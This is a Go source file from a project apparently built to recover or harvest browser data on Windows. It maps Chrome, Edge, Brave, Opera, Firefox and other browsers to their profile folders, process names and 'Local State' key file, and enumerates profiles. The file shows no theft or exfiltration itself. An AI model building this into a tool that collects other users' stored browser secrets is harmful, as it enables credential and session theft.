Files
Kematian-Standalone/native/recovery/browser/browser_windows.go
T
2026-08-27 11:21:43 -06:00

114 lines
3.6 KiB
Go

//go:build windows
package browser
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
var Browsers = []types.BrowserConfig{
// ── Chromium family (LOCALAPPDATA) ────────────────────────────────────────
{Name: "Chrome", UserDataPath: `Google\Chrome\User Data`, ProcessName: "chrome.exe"},
{Name: "Edge", UserDataPath: `Microsoft\Edge\User Data`, ProcessName: "msedge.exe"},
{Name: "Brave", UserDataPath: `BraveSoftware\Brave-Browser\User Data`, ProcessName: "brave.exe"},
{Name: "Vivaldi", UserDataPath: `Vivaldi\User Data`, ProcessName: "vivaldi.exe"},
{Name: "Yandex", UserDataPath: `Yandex\YandexBrowser\User Data`, ProcessName: "browser.exe"},
{Name: "Arc", UserDataPath: `Arc\User Data`, ProcessName: "Arc.exe"},
// ── Opera (APPDATA, flat profile) ────────────────────────────────────────
// ts doesn't work will fix in the future
{Name: "Opera", UserDataPath: `Opera Software\Opera Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
{Name: "Opera GX", UserDataPath: `Opera Software\Opera GX Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
// ── Firefox family (APPDATA, Firefox profile layout) ─────────────────────
{Name: "Firefox", UserDataPath: `Mozilla\Firefox`, ProcessName: "firefox.exe", UseAppData: true, IsFirefox: true},
{Name: "LibreWolf", UserDataPath: `LibreWolf`, ProcessName: "librewolf.exe", UseAppData: true, IsFirefox: true},
{Name: "Waterfox", UserDataPath: `Waterfox`, ProcessName: "waterfox.exe", UseAppData: true, IsFirefox: true},
}
func GetLocalAppData() string {
return os.Getenv("LOCALAPPDATA")
}
func GetUserDataRoot(cfg types.BrowserConfig) string {
base := os.Getenv("LOCALAPPDATA")
if cfg.UseAppData {
base = os.Getenv("APPDATA")
}
return filepath.Join(base, cfg.UserDataPath)
}
func LocalStatePath(cfg types.BrowserConfig) string {
return filepath.Join(GetUserDataRoot(cfg), "Local State")
}
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
root := GetUserDataRoot(cfg)
if cfg.FlatProfile {
if _, err := os.Stat(root); err == nil {
return []types.ProfileInfo{{Name: "Default", Path: root}}
}
return nil
}
if cfg.IsFirefox {
return findFirefoxProfiles(root)
}
return findChromiumProfiles(root)
}
func findChromiumProfiles(root string) []types.ProfileInfo {
entries, err := os.ReadDir(root)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
prefPath := filepath.Join(root, e.Name(), "Preferences")
if _, err := os.Stat(prefPath); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(root, e.Name()),
})
}
}
return profiles
}
func findFirefoxProfiles(root string) []types.ProfileInfo {
profilesDir := filepath.Join(root, "Profiles")
entries, err := os.ReadDir(profilesDir)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(profilesDir, e.Name()),
})
}
}
return profiles
}
func IsFirefoxProfileName(name string) bool {
parts := strings.SplitN(name, ".", 2)
if len(parts) != 2 {
return false
}
suffix := strings.ToLower(parts[1])
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
}